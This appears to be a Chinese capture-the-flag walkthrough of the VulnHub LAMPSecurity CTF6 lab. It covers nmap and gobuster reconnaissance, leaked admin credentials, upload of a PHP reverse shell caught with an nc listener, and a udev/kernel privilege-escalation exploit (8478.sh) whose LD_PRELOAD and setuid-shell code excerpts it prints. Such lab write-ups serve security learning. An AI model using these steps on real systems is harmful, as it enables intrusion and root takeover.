当前位置：首页 > news >正文

LAMPSecurity: CTF6靶场渗透

news 2025/9/9 6:30:13

LAMPSecurity: CTF6

来自 <https://www.vulnhub.com/entry/lampsecurity-ctf6,85/>

1，将两台虚拟机网络连接都改为NAT模式

2，攻击机上做namp局域网扫描发现靶机

nmap -sn 192.168.23.0/24

那么攻击机IP为192.168.23.128，靶场IP192.168.23.140

3，对靶机进行端口服务探测

nmap -sV -T4 -p- -A 192.168.23.140

端口	服务	版本信息	关键风险
22	SSH	OpenSSH 4.3	2006 年版本，存在多个漏洞，易受暴力破解和远程攻击
80	HTTP	Apache httpd 2.2.3 (CentOS)	老旧版本，有远程代码执行风险；PHPSESSID 未设 httponly 标志
111	rpcbind	RPC #100000	可能泄露系统服务信息，辅助攻击者枚举目标
443	HTTPS	Apache httpd 2.2.3 (CentOS)	同 80 端口风险，SSL 证书已过期（2010 年到期）
636	status	RPC #100024	RPC 状态服务，泄露系统信息
3306	MySQL	5.0.45	2007 年版本，存在权限绕过和远程代码执行漏洞

4，访问80端口开设的http服务

什么都没有，再扫描其子目录看看

gobuster dir -u http://192.168.23.140/ -w /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt -x html,txt,php,zip -b 404,403,400

http://192.168.23.140/sql/db.sql

得到了疑似账户密码的信息admin/adminpass

5，成功登录

http://192.168.23.140/index.php?action=add_event

找到文件上传位置，依旧上传kali自带木马，注意修改IP和端口

cp /usr/share/webshells/php/php-reverse-shell.php shell.php

mousepad shell.php

上传之后点击home触发反弹shell，与此同时kali打开对4444端口的监听

nc -lvvp 4444

成功getshell

6，信息收集一下

查看目前用户能否sudo提权，发现sudo被禁用

注意到linux的内核版本，查询一下是否有提权exp

searchsploit linux kernel 2.6 |grep "Local Privilege Escalation"

searchsploit -m 8478.sh

一、漏洞背景

二、EXP 的组成部分

udev.c
- 构造一个伪造的 netlink 消息，模拟设备 add 事件，发送给目标 udevd 的 pid。
- 关键在这里：
  mp += sprintf(mp, "LD_PRELOAD=/tmp/libno_ex.so.1.0") +1;
  这会强制 udev 在处理事件时加载攻击者指定的 .so 文件。
program.c
- 动态库的 _init() 函数会在加载时自动执行。
- 它做的事：
  setgid(0); setuid(0);
  unsetenv("LD_PRELOAD");
  execl("/bin/sh","sh","-c","chown root:root /tmp/suid; chmod +s /tmp/suid",NULL);
  把 /tmp/suid 变成一个 root:root 拥有的 setuid 程序。
suid.c
- 一个很小的 C 程序：
  setgid(0); setuid(0);
  execl("/bin/sh","sh",0);
  编译后 /tmp/suid 就是一个能直接获取 root shell 的程序。

三、执行流程

攻击者先运行脚本：
./8478.sh <pid>
其中 <pid> 是目标系统上 udevd 的 PID - 1（因为漏洞利用时这个值被用来构造 netlink 地址）。
脚本会自动：
- 编译 udev.c 生成 /tmp/udev，负责编造消息。
- 编译 program.c，生成恶意动态库 libno_ex.so.1.0，复制到 /tmp/。
- 编译 suid.c，生成 /tmp/suid。
执行 /tmp/udev <pid>：
- 向 udev 发送伪造的 netlink 消息。
- udev 处理时被注入 LD_PRELOAD=/tmp/libno_ex.so.1.0。
- 以 root 权限加载恶意库 → _init() 执行 → /tmp/suid 被提权为 root SUID 程序。
等 10 秒后，脚本执行：
/tmp/suid
直接获得一个 root shell。